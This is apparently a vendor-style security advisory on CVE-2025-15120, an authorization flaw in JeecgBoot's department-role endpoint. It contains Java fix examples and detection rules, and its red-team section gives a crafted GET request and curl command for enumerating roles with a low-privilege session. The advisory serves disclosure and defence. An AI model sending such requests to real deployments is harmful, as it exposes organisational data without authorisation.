CVE-2025-15120

Executive Summary

CVE-2025-15120 is an improper authorization vulnerability (CWE-285) identified in the JeecgBoot rapid development platform, affecting versions up to and including 3.9.0. The flaw resides in the /sys/sysDepartRole/getDeptRoleList endpoint, where the departId parameter is not properly validated, allowing an authenticated attacker with low privileges to enumerate department role lists beyond their authorized scope. While the CVSS score is low (3.1) due to high attack complexity and limited impact (confidentiality only), the existence of a public proof-of-concept (PoC) and the vendor’s lack of response elevate the risk for unpatched deployments. The attack requires a low-privilege account and a crafted request, making it a potential stepping stone for broader reconnaissance within the application.

Supply Chain & Package Security

JeecgBoot is a Java-based open-source framework commonly used in enterprise environments. The vulnerability does not directly affect upstream dependencies (e.g., Spring Boot, MyBatis) but lies in the application’s custom authorization logic. Organizations using JeecgBoot should audit their deployment for the vulnerable endpoint and apply compensating controls until an official patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Network (AV:N) – The attack is performed remotely over the network.
• Attack Complexity: High (AC:H) – The attack requires specific conditions or knowledge of the system.
• Privileges Required: Low (PR:L) – An attacker needs a valid low-privilege account.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (department role lists).
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: Low, but with a public PoC and no vendor patch, the risk is elevated for exposed instances.

Deep Dive & Mechanics

The vulnerability is a classic case of improper authorization (CWE-285). The endpoint /sys/sysDepartRole/getDeptRoleList is designed to return a list of roles associated with a given department ID (departId). The flaw occurs because the application fails to verify that the requesting user has the right to access the specified department’s role data. An attacker with a low-privilege account can manipulate the departId parameter to enumerate roles for departments they should not have access to.

Technical Flow:

1. The attacker authenticates with a low-privilege account (e.g., a regular user).
2. The attacker sends a GET request to /sys/sysDepartRole/getDeptRoleList?departId=<target_department_id>.
3. The server processes the request without checking if the user belongs to or has permissions for the target department.
4. The server returns the list of roles for that department, potentially revealing sensitive organizational structure or role assignments.

Why High Complexity? The attack requires knowledge of valid department IDs, which may not be easily guessable. However, if the application exposes department IDs elsewhere (e.g., in other API responses), the complexity decreases.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the SysDepartRoleController or similar class handling the /sys/sysDepartRole/getDeptRoleList endpoint.

Vulnerable Code (Conceptual):

@GetMapping("/getDeptRoleList")
public Result<List<SysDepartRole>> getDeptRoleList(@RequestParam String departId) {
    List<SysDepartRole> list = sysDepartRoleService.list(
        new QueryWrapper<SysDepartRole>().eq("depart_id", departId)
    );
    return Result.ok(list);
}

Patched Code (Conceptual):

@GetMapping("/getDeptRoleList")
public Result<List<SysDepartRole>> getDeptRoleList(@RequestParam String departId) {
    // Verify the current user has access to the department
    if (!userService.hasDepartmentAccess(LoginUserUtil.getUserId(), departId)) {
        return Result.error("Access denied");
    }
    List<SysDepartRole> list = sysDepartRoleService.list(
        new QueryWrapper<SysDepartRole>().eq("depart_id", departId)
    );
    return Result.ok(list);
}

The patch adds an authorization check (hasDepartmentAccess) to ensure the user is permitted to view roles for the specified department.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privilege user account on the JeecgBoot instance.
• Knowledge of a target department ID (e.g., obtained from other API responses or brute-forcing).

Exploitation Steps:

1. Authenticate and obtain a session token (e.g., via login).
2. Send a crafted GET request to the vulnerable endpoint:

   GET /sys/sysDepartRole/getDeptRoleList?departId=12345 HTTP/1.1
   Host: target-jeecgboot.com
   Cookie: JSESSIONID=your_session_id
   

3. Observe the response containing the role list for department ID 12345.

Example cURL Command:

curl -X GET "http://target-jeecgboot.com/sys/sysDepartRole/getDeptRoleList?departId=12345" \
  -H "Cookie: JSESSIONID=your_session_id"

Expected Output:

{
  "success": true,
  "message": "操作成功",
  "code": 200,
  "result": [
    {
      "id": "1",
      "departId": "12345",
      "roleName": "Admin",
      "roleCode": "admin"
    },
    {
      "id": "2",
      "departId": "12345",
      "roleName": "User",
      "roleCode": "user"
    }
  ]
}

Blue Team

Detection Steps:

1. Monitor logs for repeated requests to /sys/sysDepartRole/getDeptRoleList with varying departId parameters from the same user.
2. Alert on requests where the departId parameter does not match the user’s assigned department(s).
3. Implement rate limiting on the endpoint to slow down enumeration attempts.

Honeypot Strategy:

• Deploy a fake department ID that returns a decoy role list. Monitor for access to this honeypot ID.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /sys/sysDepartRole/getDeptRoleList with suspicious departId values (e.g., sequential IDs, high numbers).
  • Unusual patterns of departId enumeration from a single IP or user session.

• Log IOCs:

  • Application logs showing repeated access to the endpoint by a low-privilege user.
  • Error logs indicating failed authorization checks (if any) for the endpoint.

• File IOCs:

  • No specific file-based IOCs; the vulnerability is purely API-based.

Detection Engineering

YARA Rule

rule CVE_2025_15120_JeecgBoot_DeptRoleList {
    meta:
        description = "Detects exploitation attempts for CVE-2025-15120 in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15120"
    strings:
        $s1 = "/sys/sysDepartRole/getDeptRoleList" ascii wide nocase
        $s2 = "departId=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15120 - JeecgBoot Department Role Enumeration
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit improper authorization in JeecgBoot's getDeptRoleList endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/sys/sysDepartRole/getDeptRoleList'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: medium
tags:
    - attack.initial_access
    - cve.2025.15120

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15120 - JeecgBoot Department Role Enumeration"; flow:to_server; content:"GET"; http_method; content:"/sys/sysDepartRole/getDeptRoleList"; http_uri; content:"departId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Implement server-side validation to ensure the departId parameter corresponds to a department the user is authorized to access.
2. Upgrade: Monitor the JeecgBoot project for an official patch. If available, upgrade to the patched version immediately.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /sys/sysDepartRole/getDeptRoleList from non-admin users or with suspicious departId patterns.
4. Access Control Review: Audit all API endpoints for similar authorization flaws.

Long-Term Fixes:

• Implement role-based access control (RBAC) checks on all sensitive endpoints.
• Conduct regular security code reviews and penetration testing.
• Use a centralized authorization framework (e.g., Spring Security) to enforce permissions consistently.

Workaround:

• If patching is not possible, disable the endpoint or restrict access via network-level controls (e.g., IP whitelisting).

Valters IT